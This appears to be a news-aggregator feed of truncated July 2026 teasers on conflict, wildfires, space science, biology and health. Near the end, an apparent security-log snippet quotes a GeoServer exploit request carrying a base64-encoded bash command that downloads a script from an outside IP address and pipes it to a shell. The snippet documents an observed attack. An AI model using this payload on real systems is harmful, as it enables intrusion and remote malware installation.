London — The U.S. military's Central Command repeated an assertion on Tuesday evening that has been made by the Trump administration many times over the last two weeks, insisting that "despite Iranian aggression, the Strait of Hormuz remains open for commercial vessel traffic." CENTCOM acknowledged in the same statement that Iran had launched more than 30 attacks on commercial vessels since the war began, which it said had "endangered hundreds of innocent mariners and undermined freedom of navigation." President Trump, who has himself declared the strait open many times recently, threatened on Wednesday to destroy an Iranian bridge or power plant for…

Wildfires have shut down two major highways from Metro Vancouver into the British Columbia Interior after a significant new blaze in the Fraser Canyon triggered an urgent plea for residents to flee the area around Boston Bar. Highway 1 is shut in both directions south of community, forcing evacuees to head north, while Highway 3 is shut at E.C. Manning Park. The 10-square-kilometre Anderson Creek wildfire ignited and spread quickly on Tuesday south of Boston Bar, about 200 kilometres northeast of Vancouver, and while the township was already under evacuation order, the new fire prompted the Fraser Valley Regional District to tell remaining residents…

Ryanair passenger says he was nearly sucked out of broken window during flight A 61-year-old Serbian businessman who was traveling on a Ryanair flight says he was almost sucked out of the plane when a window broke. Ryanair contests parts of the man's account. CBS News' Tom Hanson has more.

Ecologist Angharad Owen, who started the petition calling for aerial support to tackle blazes in remote places like Rhinogydd, said they were "proven to be highly effective in managing and extinguishing wildfires swiftly". "These resources can access remote and rugged terrains, dropping water and fire retardant directly on the fire's critical areas, something that ground forces might struggle with in vast and challenging landscapes like Rhinogydd," she said. "It is devastating to see our natural environment being harmed by this wildfire. "Not only is this impacting our vital ecosystems and the wildlife that calls it home, but it is also posing serious…

Staff at Waikato Hospital are recovering from the disruption caused by a major IT outage for hours on Wednesday. Health NZ said late on Wednesday evening that the problem - which began at 10.44am - had been fixed, but it was contining to monitor the situation. Thames, Te Kūiti, Tokoroa and Taumarunui hospitals were also affected. The health agency has not said what exactly caused the problem, which meant longer wait times in the emergency department, some delayed surgeries, and forced staff to revert to paper systems. Staff told RNZ patient history was limited to paper reports and any recent AI transcribed reports could not be accessed. It also took…

A powerful storm swept across Istanbul on Wednesday evening after weather authorities issued warnings, disrupting daily life, particularly on the city's European side, while forcing some incoming flights to remain in holding patterns before landing. The storm intensified across the city after forecasts by the Turkish State Meteorological Service, bringing strong winds and dust clouds that significantly reduced visibility in several districts. The European side was hit hardest, with Silivri, Esenyurt, Küçükçekmece, Kağıthane, Başakşehir, Avcılar and Arnavutköy among the areas most affected. Dust carried by strong winds reduced visibility in districts…

Sparks fly from cargo plane as it ‘tail skids’ while landing at airport Sparks flew from a cargo plane attempting to land in Kentucky on Sunday (19 July), video taken by an eyewitness shows. The Kalitta Air cargo aircraft was landing at Cincinnati/Northern Kentucky International Airport when it suffered a "tail skid." Sparks emerged from the back end of the plane before it rose back into the air. According to local media reports, there were no reports of injuries and the aircraft was able to land safely. The plane has been removed from service to be inspected, Kalitta Air’s Chief Operating Officer Heath Nicholl said, according to a WXIX-TV report.

Alphonsus Odudoh, a federal lawmaker from Akwa Ibom State, has raised an alarm over the menace of flood in his constituency. Mr Odudoh represents Ikot Abasi/Mkpat Enin/Eastern Obolo Federal Constituency in the House of Representatives. Speaking under a motion of urgent national importance during the House of Representatives plenary on Wednesday in Abuja, the lawmaker reeled out scores of material and human damages caused by flood since the beginning of the rainy season. He called on the federal government to intervene to tackle the situation. He lamented the level of degradation caused by the natural disaster, calling for urgent response by relevant…

Tropical Storm Bertha closes in on Gulf Coast, expected to bring major flooding Tropical Storm Bertha is expected to hit Louisiana and other Gulf states with major flooding as it continues to travel toward land. CBS News' Lana Zak has more.

I've fallen down the Anno 117: Pax Romana rabbit hole this year, despite the negative buzz around it. Steam reviews and the Reddit consensus hold that 117 is empty, dull, and generally just less than its predecessor, Anno 1800. I can sort of see why. Quite a few elements seem like they're waiting for future add-ons to come alive and wake them up. But I've enjoyed myself thoroughly, so when I saw the "mostly negative" reviews for Anno 117's first big DLC, Prophecies of Ash, I figured I'd give it a try, despite the haters. I'm glad I did. An inaugural bit of DLC can't fix every problem. But it solves some pretty big ones, and throws a welcome wrench…

A drone photographer spotted a shark swimming dangerously close to a surfer off Seascape Beach in Aptos, California — then revved his drone motors to warn the surfer before the shark finally turned away. NEWYou can now listen to Fox News articles! A 10-foot great white shark was spotted swimming alarmingly close to a group of young swimmers along the Southern California coastline — with the children appearing completely unaware of the predator nearby. The encounter was captured on drone video by Carlos Gauna, a wildlife photographer known as the "Malibu Artist," who said it was one of the few times he felt genuinely uneasy while observing sharks. "I…

Inca boys and girls chosen for human sacrifice trekked through Inca communities for thousands of miles on sacred pilgrimages before their ritual deaths, often near high peaks in the Andes Mountains, a new analysis of their mummies reveals. The research also looks again at the manners of their deaths and found that none of three children in the Inca ritual, known as Capacocha, died in the ways that scientists previously thought. "Capacocha was not limited to the final act of offering at the mountain," study first author Verónica Silva-Pinto, an archaeologist at Diego Portales University in Santiago, Chile, told Live Science in an email. "It was an…

Although they’re fish, tunas count among the rarified group of animals that can keep their bodies warmer than the surrounding environment. Their warm-bloodedness (“endothermy”) gives them a physiological advantage in generating and sustaining energy, helping them serve as top predators. In fact, albacore tuna have been clocked swimming faster than 50 miles per hour and diving to more than 3,000 feet. How tunas and a few of their relatives in the family Scombridae, which includes mackerels and bonitos,evolved these traits has been a subject of scientific debate. The prevailing hypothesis is that tuna capitalized on an ecological opportunity that…

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The idol of Pidari Ekaveeri at the Sadaimudinathar Temple at Tiruvalanchuzhi near Kumbakonam. \| Photo Credit: R. Vengadesh Within the precincts of the ancient Sadaimudinathar Temple at Tiruvalanchuzhi, near Kumbakonam, stands a remarkable image of Pidari Ekaveeri, a deity whose significance is illuminated by the temple’s inscriptions. The temple, celebrated in the hymns of the Shaivite saints and renowned as an architectural marvel of the Chola period, is also home to inscriptions that reveal an equally fascinating chapter in its religious history. According to the inscriptions, the endowment for the worship of Pidari Ekaveeri was made by Kunthanan…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

What Nolan Wells' preliminary independent autopsy findings revealed about his death Mississippi teen Nolan Wells vanished while on a Fourth of July boat trip with a group of friends. His body was found days later. Attorney Ben Crump shared the results of the teen's preliminary independent autopsy commissioned by Wells' family. CBS News' Skyler Henry has the latest, and legal contributor Jessica Levision joins to discuss.

Astronauts have grown a common crystal in space — but this extraterrestrial version is exhibiting a very uncommon behavior. Under a microscope, the crystal looks more like a tiny futuristic sculpture than something that formed naturally. The pyramid-like assembly curls in on itself in stair-stepped layers, seeming almost too orderly to be real. But according to scientists, the striking shape is what happens when gravity stops calling the shots. The image, shared on July 18 by NASA astronaut Don Pettit, and accompanying video were captured aboard the International Space Station (ISS) and show potassium chloride crystals growing in microgravity — the…

(This is Part 3 of a series on the life and work of Chandrasekhar. Read Part 1 and Part 2 first.) The whole affair very nearly drove Chandra out of physics altogether. He couldn't stay in Europe living under Eddington's shadow, so he did what a lot of people have done when a place stops having room for them: he left. He moved to the United States. But the wound traveled with him. Chandra carried the anger and the hurt for decades and returned to that day again and again for the rest of his life. There's a line from Arthur Miller's biography of him, "Empire of the Stars," that gets at the human cost of the whole thing: even though science deals in…

Back in 1985, an electrical engineer at Polaroid named Bill Freeman had an idea for a three-sided zipper. Not a novelty item, not a quirky art piece, but a genuinely functional fastener capable of switching objects between soft, floppy states and rigid, load-bearing structures. He submitted it to a design competition. They rejected it. He patented it anyway, then tucked the prototype away in his garage, where it sat for nearly four decades. That detail alone should give us pause. How many brilliant ideas are sitting in someone’s garage right now, waiting years for the tools and technology to finally catch up? Freeman is now an MIT professor, and the…

To gauge the value of the paleontological heritage of La Rioja (a small region in northern Spain better known internationally for its wines) it is necessary to travel back 120 to 130 million years. From that time, the Early Cretaceous — of which more than 170 sites and over 11,000 dinosaur footprints remain —experts have reconstructed an ecosystem dominated by a vast lake on a broad alluvial plain that was about 400 square kilometers (154 square miles) and where rivers emptied into the area. At that time, the Iberian Peninsula was a large island near the Canary Islands, with a humid subtropical to tropical climate that produced lush vegetation,…

Nolan Wells' preliminary independent autopsy results read by attorney Ben Crump The body of Mississippi teen Nolan Wells was discovered days after he went missing during a Fourth of July boat trip. Attorney Ben Crump read the results of a preliminary independent autopsy commissioned by Wells' family to the public.

In the frigid North Atlantic waters around Northeast Greenland National Park, researchers spotted something miraculous: an Arctic bobtail squid with her eggs. This, according to the findings published in Polar Biology, is the first time this species of squid has been spotted in the park. Arctic bobtail squid (Rossia moelleri) are a rare sight, and capturing footage of one in this national park is even rarer. “Northeast Greenland National Park is the largest national park on Earth but one of the least biologically documented marine regions in the Arctic,” Paige Maroni, from The University of Western Australia’s School of Biological Sciences, and lead…

That avocado that you may have smeared on your toast to start your morning was a clone. In fact, the avocados that sit quickly aging on your counter or arranged in piles above signs displaying their ever-increasing price in grocery stores from Los Angeles to Beijing are genetically indistinguishable. And that makes them vulnerable. Because the Hass avocado variety, the most popular cultivar on Earth, was cloned from a single tree in 1926 then grafted onto root stock around the world, each of the fruits contains basically identical DNA. This lack of genetic diversity means that a single pathogen or environmental perturbation could potentially wipe out…

A mysterious cluster of blackened skin lesions affecting catfish in New England turned out to have a stranger cause than anyone would have predicted: a contagious form of cancer. Researchers in Vermont studied melanoma tumors collected from brown bullhead catfish (Ameiurus nebulosus) living in Lake Memphremagog. The tumors on different fish were genetically much more similar to each other than their hosts, they found, strongly pointing to the cancer’s infectious origin. It’s only the fourth ever kind of transmissible cancer discovered in animals, and there remain many questions about this cancer and others like it, the researchers say. “Transmissible…

Ancient Genes Reveal That Big, Bright Avocados Were Carried Through the Americas Thousands of Years Ago People brought large avocado seeds from South America to Central America, kicking off a burst of diversity for the fruit Riley Black \| Science Correspondent July 22, 2026 11:00 a.m. Fruit grows on a native avocado tree in southern Mexico Kevin Wann The buttery avocado is the fruit of a warmth-loving tree now grown all over the world. Yet the familiarity of the fruit and its delicious culinary applications obscures the fact that there isn’t just one form of avocado. An array of avocados with slightly different characteristics are found throughout…

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It's rare that cancerous tumours can spread from one individual to another. But a genetic study suggests that's what's happening with melanoma tumours among catfish in Quebec and the northeastern U.S. The discovery represents the first known transmissible cancer in fish and one of very few transmissible cancers ever found, reported the study published in the journal Nature on Wednesday. Julie Dragon, co-leader of the new study, noted that only three other transmissible cancers have ever been identified so far — in Tasmanian devils, dogs and shellfish. "These conditions are incredibly rare in nature," she said. "So something has to be happening to…

Get the Popular Science daily newsletter💡 Breakthroughs, discoveries, and DIY tips sent six days a week. By signing up, you confirm you are 16+, will receive newsletters and promotional content and agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time. About 5,000 years ago, avocados went on an excellent adventure. Humans migrating north towards Nicaragua from parts of South America brought avocado seeds and then planted the fruit in Central America’s humid lowlands. The avocados then hybridized with the native varieties, producing a wide range of avocados that are large with smooth skin,…

As TechRadar’s AV tester, I’m always on the lookout for new 4K Blu-rays to test the best TVs and best soundbars with. While I have a pretty healthy catalog, with some top-notch discs, as a 4K Blu-ray fan, it’s exciting to check out new discs to keep testing fresh. Last month, I tested the Speed Racer 4K Blu-ray and it was a powerhouse. Not only did it deliver staggeringly vibrant colors, but it also had a superb Dolby Atmos soundtrack that demonstrated power and precision, particularly during race sequences. It was one of my top discs of the June 2026 Blu-ray Bounty, and it’s easily one of the most impressive I’ve tested. This month, a new disc has…

The countdown is on as Dunedin prepares for daytime darkness for the first time since 1163 AD. On Wednesday at 4.15pm, the city marked exactly two years until the region's total solar eclipse when the moon's shadow passes directly over parts of Otago. Claudia thought she would only see one eclipse in her lifetime. She experienced one while working in a university hospital in Munich. "Everybody stopped for the eclipse so the whole hospital stopped basically. No surgeries, no nothing, and we all walked out with our glasses to watch it," she said. "Then it was dark, which was kind of beautiful but scary but weird. And then slowly the sun came back and we…

The Milky Way is ancient, and its first stars formed shortly after the Big Bang. It's been through a lot in its long life, including merging with other galaxies and absorbing smaller ones. Our observations of the cosmos confirm that, where we see multiple examples of galaxies merging and interacting. Piecing together the Milky Way's history of mergers and other events is key to understanding our galaxy, and by extension, other galaxies. Not everything about the Milky Way (MW) is clearcut. Even with all of the scientific progress in astronomy, especially in the last couple decades, some of its features are still puzzling. One of its puzzles concerns…

NASA astronaut Chris Williams and Roscosmos cosmonauts Sergey Kud-Sverchkov and Sergei Mikaev are wrapping up their 241‑day mission aboard the International Space Station. The crew and its Soyuz MS-28 spacecraft will undock from the orbiting laboratory’s Rassvet module at 3:02 a.m. EDT Sunday, July 26, heading for a parachute-assisted landing at 6:26 a.m. (3:26 p.m. local time) on the steppe of Kazakhstan, southeast of Dzhezkazgan. NASA’s live return coverage will stream through a variety of platforms. Learn where to watch online: Williams and his crewmates will complete 3,856 orbits and travel more than 102 million miles before returning to Earth.…

Nearly three years ago, China launched a radar satellite capable of monitoring nearly a third of Earth’s surface around the clock. The satellite’s unique capability has left many researchers in the U.S. stumped, unable to recreate the groundbreaking technology. Now, a new study disclosed that the satellite’s secret sauce is China’s near-total dominance over the supply of a high-performance semiconductor material. The Ludi Tance 4-01 radar satellite is powered by gallium nitride semiconductors, allowing it to operate at a high altitude of 22,370 miles (36,000 kilometers) while being fixed over the same geographic position at all times, the South China…

The outgoing head of the U.S. Space Force has some stark words for his international partners. Speaking at the 2026 Global Air and Space Chiefs Conference on July 15, in what was his last public speech as Chief of Space Operations (CSO), Gen. Chance Saltzman told attendees that if an armed conflict ever reaches space, as military leaders have for years been predicting and planning for, no military or nation in the world will be spared. "If a conflict extends into space, none of us will be able to avoid the war zone. Unlike a combat zone in the air, land or sea, we will not be able to steer clear," Saltzman said in his remarks at the conference,…

NASA’s Chandra X-ray Observatory unveiled this new look at the galaxy NGC 4736, also known as Messier 94, on June 30, 2026. Messier 94 is a spiral galaxy with a bright inner ring around it, called a starburst ring, where new stars are forming, perhaps fueled by gas driven in the unique oval-shaped structure seen here. In this image, X-rays of different wavelengths from Chandra (red, orange, and blue) are layered with a visible light image from astrophotographers using their telescopes on the ground (red, green, and blue). Experience this image through sound. Image credit: X-ray: NASA/CXC/SAO; Optical:Brian Brennan and Remi Lacasse; Image Processing:…

Normandy’s application to have the D-Day beaches in northern France listed as a UNESCO World Heritage site could finally be accepted at the end of July, after it's submission nearly 20 years ago. The nomination also includes Pointe du Hoc, the German artillery battery at Longues-sur-Mer, Port Mulberry, and numerous military cemeteries and memorials. The UN cultural agency is set to male a decision between July 24 and 27.

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VIDEO Astronomers have discovered an object orbiting a brown dwarf or “failed star”. Is it the first exomoon, or moon outside our solar system? Astronomers are debating what to call it. Why? Because moons orbit planets … And this exomoon is orbiting a brown dwarf, which is an object that’s too massive to be a planet but not massive enough to shine like a star. Video via ESO. Did we find an exomoon around a brown dwarf? Exomoons are moons that exist outside our own solar system. We’ve yet to definitively find a single one! That’s because they are small and dim, circling exoplanets that are also small and dim, hidden in the glare of the stars they…

SCIENCE Astronomers spot exomoon candidate that's almost as massive as Jupiter Object orbits a brown dwarf, which circles another star, confusing the cosmic taxonomy Scientists may have found the first moon outside our Solar System – depending on what astronomers ultimately decide counts as one. Either way, the groundbreaking research, published in Nature this week, promises a path to clearer sightings of so-called exomoons. Kevin Hoy, a PhD student affiliated with Universidad Diego Portales and the European Southern Observatory in Chile, has found an object orbiting a brown dwarf, which in turn orbits a host star, which sits about 73 light-years from…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Can you imagine in the far distant future in a colony planet an elite commando unit doing battle with the Xenomorphs? Four decades ago, James Cameron took Ridley Scott’s quiet, gothic space-slasher and injected it with pure, high-octane military adrenaline. The result was ‘Aliens’ (1986)—a cinematic juggernaut that didn’t just avoid the sophomore slump but completely redefined the parameters of what a sequel could achieve. As we cross the monumental 40th-anniversary threshold of this legendary release, we are reminded of why this film still stands unchallenged at the absolute peak of Hollywood’s creative powers. As I previously detailed in my…

NASA has discovered more than 6,000 exoplanets peppered throughout the galaxy, but astronomers have yet to confirm the existence of a single exomoon. A newly discovered moon-like object could be a promising candidate. In a study published today in the journal Nature, researchers describe a three-tiered hierarchical system: a satellite orbiting a brown dwarf, which in turn orbits a star. While the satellite fits a moon-like classification in several ways, astronomers lack a concrete definition for exomoons, so the authors can’t definitely say this is the first one. Still, their work demonstrates an effective technique for finding moon-like objects…

This graphic illustrates the areas of Jupiter’s moon Io sampled by the Microwave Radiometer (MWR) instrument aboard NASA’s Juno spacecraft during two close flybys. The black overlapping lines show the instrument's footprints during Perijove 57 on Dec. 30, 2023, when the spacecraft primarily mapped the northern hemisphere. The blue lines represent Perijove 58 on Feb. 3, 2024, which focused heavily on the moon’s mid-latitudes and equatorial regions. Both passes mapped the side of Io that constantly faces Jupiter. The sweeping, overlapping patterns are a result of the spacecraft spinning at two revolutions per minute as it flew past the moon at a…

Australia’s emergency services and military personnel are being trained to read paper maps, navigate without GPS support, and sail by the stars in case something knocks out the nation’s space capabilities. A panel at the 19th Australian space forum in Adelaide on Wednesday was asked to consider what would happen “if we suddenly lost access to critical space infrastructure – no satellites, no GPS, no remote sensing, no secure communications?” Sign up for the Breaking News Australia email The experts warned that Australians are unaware just how dependent they are on space, and how vulnerable that connection is to enemy attacks and solar flares. It’s…

Astronomers are homing in on a distant realm where the lines between star, planet, and moon are blurred. Researchers have recently discovered that something appears to be orbiting a brown dwarf in the CD-35 2722 system, about 73 light-years away in space, that defies the usual labels. A brown dwarf is already something of a cosmic maverick — too large to be called a planet, too small to be a star. Experts sometimes refer to brown dwarfs as "failed stars" because they're not quite massive enough to sustain hydrogen fusion in their cores. That leaves researchers at a loss for what exactly to call this thing circling it. Because the object orbits a brown…

When is a moon not a moon? That’s the riddle raised by a new study, and the answer appears to be, when it’s a planet. Or maybe it’s vice versa. Such are the strange semantic questions raised by studies of CD-35 2722 b, a brown dwarf with about 30 times the mass of Jupiter that’s orbiting a small star some 73 light-years from Earth. The brown dwarf appears to have its own satellite, much like Earth has the moon, albeit one almost as big as the largest planet in our solar system. While astronomers have discovered thousands of exoplanets, CD-35 2722 may be the first star system found that exhibits this three-tiered “star-brown dwarf-satellite” hierarchy.…

Lisa Grossman is the astronomy writer. She has a degree in astronomy from Cornell University and a graduate certificate in science writing from University of California, Santa Cruz. She lives in Minneapolis.

Since the discovery of the first world beyond the solar system in the 1990s, astronomers have become adept at spotting extrasolar planets, or exoplanets. But while NASA's exoplanet catalog has burgeoned to over 6,000 confirmed entries, moons around these worlds, known as exomoons, have proved elusive. In fact, we have failed to make a single confirmed discovery of an exomoon despite being certain that just as the planets of the solar system have their own natural satellites, worlds in other star systems must have them too. Now, this controversial drought of exomoons may have become even more confusing and, frankly, weird. That is because while…

Open this photo in gallery: OraQuick is Canada’s first oral self-test and provides results in about 20 minutes after swabbing the upper and lower gums.Eduardo Lima/The Canadian Press A national program that distributes free HIV self-testing kits across Canada is expanding on Thursday, increasing access to an oral swab test recently approved for sale by Health Canada. For many years, the only HIV at-home testing option available in Canada was the INSTI finger-prick test, which requires a small blood sample. But, in February, Health Canada approved OraQuick, the country’s first oral self-test that provides results in about 20 minutes after swabbing the…

University of Cambridge professor Elizabeth Murchison and Peter Emerson of the Vermont Fish \& Wildlife Department scoop up catfish for testing in Newport, VT. Emerson was one of the researchers to publish a new paper in the journal Nature describing the first known transmissible cancer in fish. Joshua Brown/University of Vermont *hide caption* *toggle caption* Joshua Brown/University of Vermont Every year, the Vermont Fish \& Wildlife Department conducts a fish census in Lake Memphremagog, which straddles northern Vermont and the Canadian province of Quebec. In 2013, the team was startled by some of the brown bullhead catfish they were finding in the…

Ahamed Samsudeen called himself a terrorist and threatened guards while he spent time inside New Zealand's maximum security prison, a coroner has heard. The inquest at the Auckland District Court has been told there was no programme to deradicalise Samsudeen while they had him in prison. Shortly after his 2021 release, Samsudeen stabbed six shoppers at a West Auckland supermarket, before being shot dead by police. Samsudeen was first arrested in 2017, charged with sharing violent ISIS videos, as well as possessing an offensive weapon, failing to assist police with a search, and using documents for financial gain. He was bailed a year later, before…

Fox News senior medical analyst Dr. Marc Siegel breaks down concerns around cyclosporiasis and the air quality impact of Canadian wildfires on 'The Big Weekend Show.' We all have stuff that comes up in our lives that we file away in a keep-to-ourselves section of our brain. Having a horrible case of diarrhea that ruins your honeymoon isn't one of them. That's a story you not only tell everyone, it's one that you run out and make sure the news is aware of. Otherwise, you're faking it through answering the question "how was your honeymoon?" Nobody wants to put themselves in that situation. The moment you let it slip to one person that you had diarrhea…

After over ten years of listening, one thing became increasingly clear: psychological distress in Nigeria rarely exists in isolation. It is deeply intertwined with economic uncertainty, caregiving responsibilities, insecurity, unemployment, family conflict and the daily pressures of survival. Trigger Warning: This article contains discussions of mental health, emotional distress, and related experiences that some readers may find sensitive. When Kalu lost his father to cancer, he knew the weight of his family’s demands would now rest solely on his shoulders. He fought back tears as his father was lowered into the ground, unsure whether he was mourning…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

One hundred and sixty-eight students have bagged First Class Honours at the University of Nigeria, Nsukka, UNN, as the institution holds its 55th Convocation Ceremony. The number is part of the 12,895 students participating in the convocation as announced by the Vice-Chancellor, Prof. Simon Ortuanya. Ortuanya disclosed this on Wednesday in Enugu during a press briefing at the university’s Enugu Campus, themed “The Renaissance of Mind and the Rebuilding of the Lion’s Den.” Providing a breakdown of the graduating students, Ortuanya said 10,641 would receive first degrees and diplomas, including 168 First Class graduates. He added that 2,944 postgraduate…

Whakatāne has waited years for a medical MRI scanner, but it has somehow ended up in Masterton. Residents from the eastern end of Bay of Plenty must still travel to Tauranga for a scan in one of its seven MRI machines, all privately owned. Health NZ says it is working on a plan for Whakatāne - but its last one failed. June Goodhew says it has dragged on long enough. In May, the 85-year-old retired tutor was given a packed lunch at Whakatāne Hospital and sat in an ambulance headed for Tauranga and an MRI. A second woman sat up front. "I really felt sorry for her because, you know, she was in pain," said Goodhew. "From 11 o'clock till 5pm, it was quite…

People Aren’t Born as Righties or Lefties—They Develop Hand Dominance With Practice, a New Study Suggests Humans do have a biological preference for using one side of their body, which might prime them for using limbs on that side for complex motor tasks like writing—and honing those skills over time Handedness refers to both hand preference and hand dominance. Image by katemangostar on Magnific Many people assume that they are born either left-handed or right-handed. New research, however, suggests that part of handedness actually comes down to practice. While you do have a biological preference for using one side of your body, your dominant hand’s…

U.S. President Donald Trump. File \| Photo Credit: Reuters U.S. President Donald Trump has given generic pharmaceutical companies a two-year window to establish manufacturing facilities in the United States, warning that products imported after August 2028 could face tariffs of up to 200%. The announcement, made on Wednesday (July 22, 2026) through a social media post, has significant implications for India, which sends more than a third of its pharmaceutical exports to the U.S. While Indian drugmakers sought to strike a cautious note, they warned that higher tariffs would ultimately increase medicine costs for American consumers. Mr. Trump said the…

Hong Kong authorities have warned of possible enforcement action after mainland Chinese dental chains were suspected of operating illegally in the city, as local industry leaders called for tighter supervision. The Hong Kong Dental Association also said on Wednesday a poll of local practitioners found that each dentist needed to follow up on an average of four cases a month relating to treatment received across the border. The Health Bureau and the Department of Health said in a joint statement they had contacted the association to follow up on its reports of mainland clinics running promotional booths in the city. “We will not rule out taking…

With thousands of children under five hospitalised each year with RSV, experts want New Zealand to catch up with other countries and introduce a universal vaccination programme. A new briefing from the Public Health Communication Centre has shown it could free up thousands of hospital beds each year. RSV, or respiratory syncytial virus, is a common respiratory illness that causes lung and respiratory tract infections, with similar symptoms to a cold - but in young children, it can cause serious complications. Lead author and paediatric infectious disease specialist Dr Hazel Dobinson said immunisation had transformed prevention overseas. International…

(MedPage Today) -- Higher levels of trihalomethanes (THMs) -- a disinfection byproduct of the drinking water treatment process -- were linked to a higher risk of uterine cancer among a cohort of California women. Among those with addresses...

The saying goes that ‘inside every fat person there’s a thin one trying to get out’. But inside one of my thin friends there’s a fat child – herself, between the ages of eight and 18. That was the decade when her weight ballooned, when furtive chocolate binges meant her thighs rubbed together and when changing for PE became a torture for her. This being the era of The Goonies, she became known as Chunk, the character who famously did the ‘truffle shuffle’: lifting up his shirt to wobble his belly. And yes, she was teased many times to do the same. One day in biology class my friend – then 12 – was learning about body mass index (BMI). Along with her…

At the International Symposium on Pediatric Neuro-Oncology, experts discussed how advanced MRI may enable more personalized brain tumor radiotherapy for children with brain tumors by identifying meaningful changes during treatment. In this MedPage Today video, Caroline Chung, MD, of the University of Texas MD Anderson Cancer Center in Houston, discusses how advanced MRI could help shift radiotherapy from a reactive to a predictive approach. Following is a transcript of her remarks: When I first came and I got recruited to MD Anderson, it was actually to start up the MR program in radiotherapy. And so it's still an evolving adoption of leveraging…

James Norton has revealed he caused 'pandemonium' at a star-studded GQ dinner when he almost fainted because of his diabetes. The actor, 41, was diagnosed with type 1 diabetes at the age of 22 and uses a continuous glucose monitor (CGM) to help manage it, along with daily doses of insulin. James explained he started 'sweating and began feeling wobbly' at the event in 2024 after being unable to eat the correct food needed once he put his insulin in. He was sitting on a table alongside Jude Law and Nicole Kidman when he began feeling faint. Speaking on the Table Manners podcast with Jessie and Lennie Ware, James recalled having to ask a waitress for…

Column | The benefits of GLP-1s for women no one is talking about The Washington PostWomen more likely to marry, land jobs after taking GLP-1s Harvard UniversityGLP-1 drugs linked to 17% drop in worker sick leave, new economic study finds CBS NewsThe Labor-Boosting Potential of Weight-Loss Drugs Bloomberg.comWeight-loss drugs may improve job prospects and dating odds for one group Fox News

The Congressional Progressive caucus (CPC) held a shadow hearing on Medicare for All on Wednesday, led by Pramila Jayapal and Debbie Dingell. The hearing comes as over half of the House Democratic caucus has co-sponsored Medicare for All legislation, and Senator Andy Kim introduced legislation on Tuesday that would enroll all children into Medicare until the age of 26, while Republicans passed drastic healthcare cuts in the One Big Beautiful Bill Act, including nearly $1n in cuts to Medicaid and allowing Affordable Care Act subsidies to expire. “I’m going to get this over the finish line before I die, and I don’t plan on dying soon. But I’d like to…

Parkinson's disease (PD) is a progressive neurodegenerative disorder caused by the loss of dopamine-producing neurons, leading to motor symptoms such as tremors, rigidity, slowed movement, and impaired balance, as well as cognitive decline. Although current treatments help relieve symptoms, they cannot stop disease progression. Levodopa (L-DOPA), given with carbidopa, remains the standard treatment for PD by restoring dopamine levels and improving motor function. However, its benefits often decline with long-term use, and complications such as motor fluctuations and dyskinesias may develop. These limitations have prompted the search for adjunct…

Susumu Tonegawa, a Japanese molecular biologist who won the Nobel Prize in 1987 for figuring out how the body can produce sufficient antibodies to combat a multitude of infections, and who later advanced the understanding of how the brain works by discovering how memories are stored, died on July 11 at his home in San Mateo, Calif. He was 86. The Massachusetts Institute of Technology, where Dr. Tonegawa was a professor, announced his death. “Few scientists have reshaped our understanding of biology as profoundly,” Myriam Heiman, the director of M.I.T.’s Picower Institute for Learning and Memory, which Dr. Tonegawa founded in 1994, said in a statement.…

Court advises Nollywood actor Emeka Ike, Wike’s aide to explore reconciliation in N10bn suitThe Federal High Court in Abuja on Wednesday advised Nollywood actor Emeka Ike and Lere Olayinka, Senior Special Assistant to FCT Minister Nyesom Wike to explore an out-of-court settlement for a N10 billion privacy breach suit brought by the thespian. Justice Salim Ibrahim gave the advice to the parties, including the Independent National Electoral Commission (INEC), during Wednesday’s proceedings. All the parties in the suit were represented during the hearing. Leonard Adeh, who appeared for Mr Ike, informed the court that the matter was scheduled for further…

Ukraine's Unmanned Systems Forces have struck 13 additional electrical substations in Russian-occupied territories in southern Ukraine as part of Operation Crimean Switch Off, including 10 facilities in temporarily occupied Crimea. According to Ukrinform, the commander of the Unmanned Systems Forces, Robert "Magyar" Brovdi, announced the operation on Facebook. "Thirteen energy facilities in Crimea and other temporarily occupied territories were successfully targeted on July 21–22," Brovdi said. According to him, Ukrainian forces have struck a total of 117 energy infrastructure targets between July 1 and July 22. The latest targets included: the 110 kV…

This isn't a new attack, but something I saw "pop-up" in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated…

The latest headlines from our reporters across the US sent straight to your inbox each weekday Your briefing on the latest headlines from across the US Your briefing on the latest headlines from across the US The California Department of Motor Vehicles is investigating potential criminal activity tied to irregularities found in 11,000 of the state's driver's license tests. The state's DMV director, Steve Gordon, announced the investigation in a letter sent to State Senate Transportation Committee Chairman Dave Cortese last week, KCRA 3 reports. According to the DMV, 11,000 drivers were flagged as having irregularities in their recent driving tests…

